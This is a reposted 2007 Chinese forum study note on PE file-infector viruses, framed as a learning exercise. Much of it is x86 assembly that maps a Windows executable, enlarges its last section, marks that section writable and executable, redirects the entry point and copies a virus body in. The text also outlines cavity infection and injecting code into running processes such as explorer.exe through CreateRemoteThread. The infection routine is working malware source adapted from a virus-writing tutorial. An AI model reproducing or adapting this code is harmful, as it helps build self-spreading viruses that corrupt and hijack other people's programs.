PE病毒学习笔记——初识感染技术 (转自看雪学院)

AI权益加码!Claude Code、Cursor等20+工具免费用! 购周边限时加赠Coding Plan Lite,畅享主流AI工具!学习进阶更高效! 阅读详情
【分享】PE病毒学习笔记——初识感染技术
   

标 题: 【分享】PE病毒学习笔记——初识感染技术
作 者: kmyc
时 间: 2007-10-04,17:07
链 接: http://bbs.pediy.com/showthread.php?t=52777

本来打算10.1长假天天去自习的,结果学校居然在假期把所有的自习室都关门了事,没办法,只好待寝室——面对电脑——就打算再来一篇学习笔记。我了解的知识非常有限,代码也很初级,欢迎大家批评和讨论。

说起“感染技术”,一般印象里都是——感染 文件,准确说,是“感染可执行 文件”。事实上,除了 文件感染,也可以是“进程感染”,也就是“进程注入”。但是相比而言, 文件感染古老多了——早在单进程环境的DOS下就开始发展,而且相比“进程注入”,在我看来要复杂些。

现在我们只考虑Win32环境下的 文件感染。毫无疑问,读写 文件的过程需要大量使用到API,如果看过我之前的关于“搜索API”的学习笔记的话,那么这个工作在这里不过是一个循环而已。

先考虑最简单的情况,感染没有在运行的、普通的执行 文件

首先是要搜索 文件,Win32API有三个函数:FindFirstFile(),FindNextFile(),FindClose(),事实上大家都可以想象到,应该是FindFirstFileA(),FindNextFileA()和FindFirstFileW(),FindNextFileW(),Windows的一贯风格。这几个函数由kernel32.dll导出,具体使用可以通过MSDN解决了,不过这里要强调一个结构:

WIN32_FIND_DATA ,这里面会保存有搜索到的 文件的相关信息,特别是
文件大小”
(DWORD nFileSizeHigh;  DWORD nFileSizeLow;如果这个 文件没有大于4GB的话,就只用考虑nFileSizeLow)
和“ 文件名”
(TCHAR cFileName[MAX_PATH])
这两个变量,对我们来说比较重要。

下面,搜索到具体的 文件后,看看我们需要些哪些API支持我们的工作:
;----------------------------------------------
; input:
; ESI = Address of Filename
; _CreateFileA = VA of CreateFileA
;
; output:
; EAX = O pened Filehandle or -1
;
; used reg
; EAX,ESI
;----------------------------------------------
O penFile proc
    xor eax,eax
    push eax
    push eax
    push 00000003h
    push eax
    inc eax
    push eax
    push 80000000h or 40000000h
    push esi
    call _CreateFileA
    ret
O penFile endp

首当其冲的当然是以“可读”和“可写”方式打开 文件,kernel32里的CreateFileA完成这项工作。

;----------------------------------------------
; input:
; ECX = Mapping Size
; _CreateFileMappingA = VA of CreateFileMappingA
; FileHandle = O pened Filehandle
;
; output:
; EAX = Map ped Handle or -1
;
; used reg
; EAX,ECX
;----------------------------------------------
CreateMap proc
    xor eax,eax
    push eax
    push ecx
    push eax
    push 00000004h
    push eax
    push dword ptr FileHandle
    call _CreateFileMappingA
    ret
CreateMap endp

;----------------------------------------------
; input:
; ECX = Mapping Size
; _MapViewOfFile = VA of MapViewOfFile
; MapHandle = Map ped Maphandle
;
; output:
; EAX = Map Address or 0
;
; used reg
; EAX,ECX
;----------------------------------------------
MapFile proc
    xor eax,eax
    push ecx
    push eax
    push eax
    push 00000002h
    push dword ptr MapHandle
    call _MapViewOfFile
    ret
MapFile endp

下来就是把 文件映射到内存里,当然,用ReadFile和WriteFile也是可以的,可是我喜欢读写“内存”的感觉(感觉是绝对一样的),而不是不停的push push地去调用API,哪怕我只要读或写一个Byte。CreateFileMappingA和MapViewOfFile,这两个函数都在kernel32里

还有一些API比如SetFileAttributesA,UnmapViewOfFile和CloseHandle,因为参数少且简单,所以就不单独定义成proc了。我也假定在之前的工作里,已经找到了这些API的VA,并且存在了API名字前加一下划线的变量里,比如CloseHandle的地址就存在_CloseHandle里。最后再说一遍,这里用到的所有的所有函数都来自于kernel32里。

但是有一个特殊些:
;----------------------------------------------
; input:
; EAX = Value need align
; ECX = FileAlign
;
; output:
; EAX = Value aligned
;
; used reg
; EAX,ECX,EDX
;----------------------------------------------
Align proc
    push edx
    xor edx,edx
    push eax
    div ecx
    pop eax
    sub ecx,edx
    add eax,ecx
    pop edx
    ret
Align endp

这是一个非常重要的proc,用来算“对齐”的。一定要注意PE结构里的对齐,特别是在做Size的加减和变化时,一定要注意对齐。很多人一开始写修改PE 文件结构的程序时,导致诸如“不是有效的Win32程序”错误的原因大多是因为没有对齐好。

我还假定所有用到的变量已经定义好,特别注意WFD_szFileName和WFD_nFileSizeLow,就是我前面提到的,你打算感染的 文件的WIN32_FIND_DATA结构里的成员。

Infection proc
    lea esi,WFD_szFileName
    
    push 80h
    push esi
    call _SetFileAttributesA
    
    call O penFile
    inc eax
    jz _Infection_CantO pen
    dec eax
    mov FileHandle,eax
    
    mov ecx,WFD_nFileSizeLow

_Infection_Mapping:
    push ecx
    call CreateMap
    or eax,eax
    jz _Infection_CloseFile
    mov MapHandle,eax
    
    pop ecx
    call MapFile
    or eax,eax
    jz _Infection_UnMapFile
    mov MapAddress,eax

    mov esi,[eax+3Ch]
    add esi,eax
    cmp IsMap ped,1
    jz _Infection_Go_on
    cmp dword ptr [esi],"EP"
    jnz _Infection_NoInfect
    mov ecx,[esi+3ch]
    
    push dword ptr MapAddress
    call _UnmapViewOfFile
    push dword ptr MapHandle
    call _CloseHandle

    mov eax,WFD_nFileSizeLow
    add eax,virus_size
    call Align
    
    xchg ecx,eax
    mov IsMap ped,1
    jmp _Infection_Mapping

_Infection_Go_on:
    mov edi,esi                         ;------------- EDI = ESI = Ptr to PE header
    movzx eax,word ptr [edi+06h]        ;------------- AX = Num of sections
    dec eax
    imul eax,eax,28h                    ;------------- EAX = AX*28h
    add esi,78h                         ;------------- Ptr to dir table
    mov edx,[edi+74h]                   ;------------- EDX = Num of dir entries
    shl edx,3                           ;------------- EDX = EDX*8
    add esi,edx                         ;------------- ESI = Ptr to first section table
    add esi,eax                         ;------------- ESI = Ptr to last section table

    mov eax,[edi+28h]                   ;------------- EAX = RVA of Entry Point
    mov OldEP,eax
    mov eax,[edi+34h]                   ;------------- EAX = ImageBase
    mov ImgBase,eax
    mov edx,[esi+10h]                   ;------------- EDX = SizeOfRawData
    mov ebx,edx                         ;------------- EBX = EDX = SizeOfRawData
    add edx,[esi+14h]                   ;------------- EDX = EDX+PointerToRawData
    push edx
    mov eax,ebx                         ;------------- EAX = EBX = SizeOfRawData
    mov ebp,[esi+0Ch]                   ;------------- EBP = VirtualAddress
    add eax,ebp                         ;------------- EAX = SizeOfRawData + VirtualAddress
    mov [edi+28h],eax                   ;------------- Set RVA of Entry Point to EAX--New EP
    mov NewEP,eax
    
    mov eax,ebx                         ;------------- EAX = SizeOfRawData
    add eax,virus_size                  ;------------- EAX = SizeOfRawData + VirusSize
    mov ecx,[edi+3Ch]                   ;------------- ECX = File Alignment
    call Align
    mov [esi+10h],eax                   ;------------- New SizeOfRawData
    mov [esi+08h],eax                   ;------------- New VirtualSize
    add eax,ebp                         ;------------- EAX = EAX + VirtualAddress
    mov [edi+50h],eax                   ;------------- EAX = New SizeOfImage
    or dword ptr [esi+24h],0f0000020h
    
    lea esi,[virus_start]               ; ESI = Ptr to virus_start
    pop edx                             ; EDX = Start of virus will be copy---RAV
    xchg edi,edx                        ; EDI = Start of virus will be copy---RAV , EDX = Ptr to PE header
    add edi,MapAddress                  ; EDI = Start of virus will be copy---VA
    mov ecx,virus_size                  ; ECX = virus_size
    rep movsb                           ; Do it
    jmp _Infection_UnMapFile

_Infection_UnMapFile:
    push dword ptr MapAddress
    call _UnmapViewOfFile
    
_Infection_CloseMap:
    push dword ptr MapHandle
    call _CloseHandle
    
_Infection_CloseFile:
    push dword ptr FileHandle
    call _CloseHandle
    
_Infection_CantO pen:
    push dword ptr WFD_dwFileAttributes
    lea eax,WFD_szFileName
    push eax
    call _SetFileAttributesA
    ret
Infection endp

上面这段代码主要来自于《Billy Belceb 病毒编写教程---Win32 篇》,但是我一条一条仔细阅读和理解并且对一些地方进行了修改和优化。在适当的地方有注释,如果感觉有问题请提出来,谢谢。

整个过程是简单而流畅的,把 文件Map到内存,读取相关信息,尤其重要的是“ 文件对齐量”,这是为什么要把 文件Map两次的原因——我们不知道应该为修改 文件开辟多大的Map。有人想当然的认为,既然已知 文件大小和病毒大小,那么Map大小就是“ 文件大小+病毒大小”,这在一般情况下是错误的,原因就是——对齐。当然,用ReadFile和WriteFile方式不用在乎Map大小的问题。

搜索到最后一个节,计算新的的节大小,修改相应PE结构变量,并且把程序入口改为最后一个节的末尾(这就是准备写入病毒体的地方)。程序原入口一定要保留,虽然这里暂时不需要,但是病毒执行完毕后会需要。修改节属性,“代码节、可读、可写、可执行”,一个也不能少。对齐,唯一要强调的还是对齐。一切就绪后,就开始copy病毒体了!

上面这个方法是增加最后一个节的空间来寄生病毒,很初级可是不一定稳定:不能保证最后一个节就一定是你想要的“代码节、可读、可写、可执行”,毕竟这里除了你的代码,还有原程序的信息。稍微强一些的办法是增加一个节到最后(自己的节就好控制多了),然后修改相关PE结构变量。这个方法不错,不过问题在于,不能保证SECTION TABLE里就一定有大于28h字节的空间给你来新建一个Image_Section_Table,一般这个空隙是因为对齐或者别的原因造成的。

顺便提及一点,如果这个执行 文件正在被使用,那么,可以通过“改名”+“新建”+“下次运行时删除”的办法替换原 文件

这种“后缀式”感染方式很简单,不过请注意:简单就是优点。我们可以不用在感染上花费太大精力和——宝贵的代码空间!而且这种整块拷贝的方式也很利于病毒的加壳和变形,现代病毒在感染上已经不怎么别出心裁了,关键的技术恰恰在加密与变形上。

相对“后缀式”,在古老的教科书上还会看到另一种方式——“散落式”
“英文叫cavity,就是把病毒体切成小块分散插入到宿主的空隙中,病毒执行时再把他们组合起来。似乎人们从CIH才开始认识这种方式,事实上这种方式古已有之,一些DOS病毒就用这种方式,只是没有引起人们注意--人们通常只推崇轰动的东西!
PE 文件由于结构关系,天然就有很多空隙,适合一个小病毒存在,而DOS可执行 文件则没有什么Section的概念,也没有什么天然空隙,似乎看起来不可能插入。其实不然,由于编译器的缘故, 文件里很可能有一些用于保存数据的连续的0,这些空间只在运行时才有用,和程序的初始化没关系。所以病毒可以统计这些连续的0,如果发现这样的空间足够大,就可以把病毒块放在里面,运行时把病毒块摘出,然后重新把那块内存清零就可以了——这种技术在DOS时代算是比较高级的技术,实现起来比较困难。……
这种感染方式还有衍生。比如不利用宿主已有的空隙,而是在宿主代码里硬生生地挖洞,把病毒代码插进去,病毒执行后再把洞填回去。这样的好处是可以把病毒分解成很小的碎片,这样就不容易被发现,缺点是实现有些复杂,效果未必比利用已有空隙好。”
——摘自CVC的Vancheer的《病毒感染技术分析》

我始终认为,现代病毒,已经不会在“感染技术”上别出心裁了,关键在于对病毒体的加壳与变形,更好的保护。现在病毒和蠕虫的界限已经不明显了,不过我仍然认为病毒相对于蠕虫的特点是:不能独立运行(没有导入表、不能成为独立进程、不依赖特定程序),必须有感染 文件的能力。虽然不能成为独立的进程,但是可以把自己的代码作为一个线程跑起来。

在古老的病毒观里(出自对多线程技术不熟悉的老一代程序员),病毒应该在加载寄主程序前做完所有的事(甚至——感染硬盘所有的执行 文件),这在现在简直不可想象。我们理所当然的可以把病毒代码作为一个线程来和寄主程序并发地跑起来——没有一点问题——不过是把这个代码的地址传给CreateThread函数。

在可以调用CreateRemoteThread函数的WinNT/2000/XP系统里,也就有另一种和“ 文件感染”不同的“进程感染”。其实原理和大家早已熟知的dll注入一样。我们通过tlhelp32.dll里的函数枚举进程(当让有别的更多方法),O penProcess,VirtualAllocEx,WriteProcessMemory(写入病毒体),最后CreateRemoteThread就可以让我们写入的代码跑起来了。不错,不需要和头痛的PE 格式打交道,我们的代码就在一个正在运行的进程的空间里跑起来了,同样需要搜索API,需要干该干的事。比如,我们知道explorer.exe是图形化的Windows Shell,所有通过桌面或者快捷方式或者 文件夹打开的程序都是explorer.exe这个进程CreateProcess出来的,如果我们hook这个explorer.exe导入表里的API,我们就可以监视所有的进程创建行为。

如果没有别的行为,“进程感染”的成果会随着进程的退出而终结。那么,把自己的代码插入别的进程有什么意义吗?当然有!众人拾柴火焰高,Windows提供我们多进程多线程的环境和功能,我们不好好利用下不是太对不起所有Windows开发人员的一片苦心了么?

线程病毒的同步也是一个有趣的问题,哦,协议的设计,进线程间通信,同步与互斥……多么好的一次课程设计亚!

参考文献:
《Billy Belceb 病毒编写教程---Win32 篇》
CVC的Vancheer的《病毒感染技术分析》
cih病毒简介 CIH病毒是一种能够破坏计算机系统硬件的恶性病毒。这个病毒产自台湾,原集嘉通讯公司(技嘉子公司)手机研发中心主任工程师陈盈豪在其于台湾大同工学院念书期间制作。最早随国际两大盗版集团贩卖的盗版光盘在欧美等地广泛传播,随后进一步通过网络传播到全世界各个角落。 中文名 CIH病毒 外文名 CIH 别名 Win95.CIH、Spacefiller等 类别 计算机系统硬件病毒 版本 V1.0、V1.1、V1.2、V1.3、V1.4 来源 CIH病毒是一位名叫陈盈豪的台湾大学生所编写的,从台湾传入大陆地区的。CIH的 阅读详情

相关推荐

pe文件结构详解(研究病毒传染机制)

pe文件结构(研究病毒传染机制),本文详细的介绍了EXE文件的内部逻辑结构,知道一看

学习日记——(计算机病毒PE文件病毒

一、相关知识 PE文件病毒的原理:PE文件病毒感染病毒时,将自身代码复制到目标文件中 PE文件病毒在目标文件前运行,那么,它是怎么做到的呢? 答:PE病毒感染其他文件的常见方法是: 在文件中添加一个新节,然后把病毒代码和执行后返回宿主程序的代码写入到新添加的节中; 同时修改PE文件头的入口地址,使它指向新添加的病毒代码入口; 这样做后,当程序运行时,首先运行病毒代码,运行完后再去运行宿主代码。 PE文件病毒感染过程: 第一种: 判断目标文件开始的两个字节是否为“MZ”; 判断PE文件的

weixin_54055099的博客 6778

Win32.Loicer, alias, Win32.Cervan

This is my biggest PE virus, it's about 3500 lines, the virus binary size is more than 6K. Maybe this is my last virus. I've decided to exit from the VXer scene. It's a pity that there are too...

JAVA for GIS 178

实验六——PE病毒分析

【实验名称】 PE病毒分析 【实验目的】 1.属性PE文件结构 2.熟悉PE编辑查看工具,详细了解PE文件格式 3.掌握文件型病毒的发现方法及PE病毒的染毒原理 【实验原理】 1.PE文件常用字段解释: a)文件偏移地址(FileOffset):PE文件存储在磁盘上时,各数据相对文件初始地址的偏移量。即,UltraEdit打开文件所显示的地址。 .text段第一个数据的文件偏移地址是:0x400 b)虚拟地址(Virtual Address,VA):PE文件载入内存后,各数据的地址。

Onlyone_1314的博客 1万+

PE文件感染程序设计(PE病毒

记录PE病毒设计的入门实验

Zyecho的博客 4968

什么是PE文件感染

恶意软件通常会寻找 PE 文件中的特定区域,如空闲空间或代码段的末尾,来插入其恶意代码。感染后的文件在运行时,除了执行原本的正常功能外,还会执行恶意插入的代码,从而对系统造成危害,如窃取用户数据、破坏系统、安装其他恶意软件等。7. 启用硬件级的安全功能:如英特尔的 VT-x 或 AMD 的 SVM 等虚拟化技术,增强系统安全性。8. 监控系统行为:留意系统的异常行为,如突然的性能下降、异常的网络活动或未知的进程运行。3. 谨慎下载和安装软件:只从官方和可信赖的来源获取软件,避免下载未知来源或可疑的软件。

m0_57836225的博客 546

花式感染 Windows PE 病毒的一百种方法,你中过招吗?

作者 | 杨秀璋,责编 | 夕颜出品 | CSDN博客这是一篇基础性文章,将介绍Windows PE病毒, 包括PE病毒原理、分类及感染方式详解,并通过案例进行介绍。01PE病毒概念什么...

Python大本营的博客 2444

计算机病毒学原理第四版pdf,第4章 传统计算机病毒.pdf

第三章第三章计算机病毒结构分析计算机病毒结构分析上海交通大学信息安全工程学院上海交通大学信息安全工程学院刘功申本章学习目标了解COM、EXE、NE、PE可执行文件格式掌握引导型病毒原理及实验掌握掌握COMCOM文件病毒原理及实验文件病毒原理及实验掌握PE文件型病毒及实验信息安全工程学院总体概念DOS病毒定格在5000多种DOS是VXer 的乐园(Aver)99x病毒病毒riing33, riing...

weixin_39625563的博客 783

PE文件结构详解精华(从头看下去就能大概了解PE文件结构了)

前言 此博客绝大部分内容来自云课堂武大慕课《软件安全-恶意代码机理与防护》。 内容提纲 PE文件及其表现形式 PE文件格式与恶意软件的关系 PE文件格式总体结构 代码节与数据节 引入函数节:PE文件的引入函数机制 引出函数节:DLL文件的函数引出机制 资源节:文件资源索引、定位与修改 重定位节:镜像地址改变后的地址自动修正 PE文件及其表现形式 可移植的可执行文件(PE,Portable...

雨化于画 1万+

什么是计算机病毒

简单了解一下什么是计算机病毒

weixin_45965124的博客 2219

PE映像文件从内存中DUMP到磁盘

<br />引言: 引用看学院《软件加密技术内幕》开篇的第一段话:“操作系统的可执行文件格式和数据结构揭示了藏在操作系统内部的秘密,理解EXE或DLL将有助于对操作系统的深刻理解。了解了EXE和DLL里面的奥秘,你将成为一名知识更加渊博的程序员!”<br />可以看到,作为网络安全爱好者的我们,掌握和熟练利用PE(Portable Executable)文件格式的知识将必定能为我们学习黑客技术和攻防知识打下良好的基础。<br />在网络攻防的对抗中,常常接触到有关PE文件格式方面的技术,比如缓冲区溢出技术

oathevil的专栏 4670

电脑病毒猛于虎,但这些坏习惯猛于病毒

本文于2019年02月18日首发于IT之家。 地址:点击这里 上周,微软工程师Matt Miller在Blue Hat会议上透露的数据揭示,Windows漏洞的实际破坏性正在降低。得益于安全工程师的辛勤工作,在过去的5年中,已知的漏洞数量虽然翻了一番,但是实际被利用的漏洞的数量却减少了一半。考虑到黑客针对计算机的攻击很多都是基于已公布的0 Day漏洞,因此延迟更新补丁的风险比漏洞本身要可怕得多...

weixin_30652879的博客 1097

C++实现文件加解密及OllyDbg逆向

PE病毒是以Windows PE程序为载体,能寄生于PE文件或Windows系统的病毒程序。PE病毒数量非常之多,包括早起的CIH病毒,全球第一个可以破坏计算机硬件的病毒,它会破坏主办的BIOS,对其数据进行擦写修改。再比如熊猫烧香、机器狗等等,其危害非常之大。

s44359487yad的博客 1923

html病毒实验,计算机病毒实验手册4-5-9-10-8-v4.0.pdf

计算机病毒实验手册4-5-9-10-8-v4.0计算机病毒与防治实验手册许晓伟中国海洋大学信息科学与工程学院计算机系2015 年9 月27 日1目录第4 章 传统计算机病毒 14.1 实验目的14.2 实验要求14.3 实验过程、步骤及原始记录24.4 实验报告要求104.5 实验程序源码10第5 章特洛伊木马 105.1 实验目的105.2 实验要求115.3 实验过程、步骤及原...

weixin_30915487的博客 213

计算机病毒实验教程pdf,计算机病毒实验手册4-5-9-10-8-v40.pdf

计算机病毒实验手册4-5-9-10-8-v40计算机病毒与防治实验手册许晓伟中国海洋大学信息科学与工程学院计算机系2015 年9 月27 日1目录第4 章 传统计算机病毒 14.1 实验目的14.2 实验要求14.3 实验过程、步骤及原始记录24.4 实验报告要求104.5 实验程序源码10第5 章特洛伊木马 105.1 实验目的105.2 实验要求115.3 实验过程、步骤及原始...

weixin_39984661的博客 471

[安全攻防进阶篇] 五.逆向分析之Win32 API获取及加解密目录文件、OllyDbg逆向其原理

这是作者安全攻防进阶篇,希望对您有所帮助。前文作者讲解了条件语句和循环语句源码还原及流程控制逆向方法,这篇文章将分享勒索病毒,通过编写程序实现获取Windows系统目录文件,并对其进行加密和解密的过程;第二部分详细讲解了OllyDbg和在线沙箱的逆向分析过程,第三部分分享恶意软件如何通过宏脚本发送勒索信息或密码至用户邮箱。基础性文章,希望您喜欢~

杨秀璋的专栏 8784

中国大陆编写的第一个黑客病毒实录

几天之内,国内多家知名媒体,包括具有全国性影响的《中国青年报》《南方都市报》、面对海外华人的《华声报》等,都纷纷报道YAI事件一时间,YAI被炒得沸沸扬扬。如此大规模的媒体报道无疑扩展了消息的分布范围和宣传频率,港台以及海外华文媒体也立即对这个消息表现出了极大的兴趣,《香港商报》、(大公报》、《硅谷时报》等媒体立即风风火火地载了内地报道。11月11日,我国最大、最权威的新闻机构一-中央电视台在“新闻30分”节目也将这条消息送入了千家万户,一时间,YAI满天飞,国人在问,YAI为什么这么“火”?YAI为什么

Ms08067安全实验室 179

Nature子刊封面:澳大真菌研究新突破 有助降低免疫力弱人群受真菌感染的风险...

来源:澳门大学发布日期:2021年8月23日 18:00澳门大学健康科学学院副教授黄冠豪带领的团队在真菌研究上取得了重大进展。该研究重新定义了真菌孢子休眠,并揭示了真菌孢子在进入休眠期之前...

刘永鑫的博客——宏基因组公众号 606
上一篇: RPC漏洞的通用分析方法(图)
下一篇: 反调试技巧总结-原理和实现
hack8
博客等级 码龄18年 109粉丝 128原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值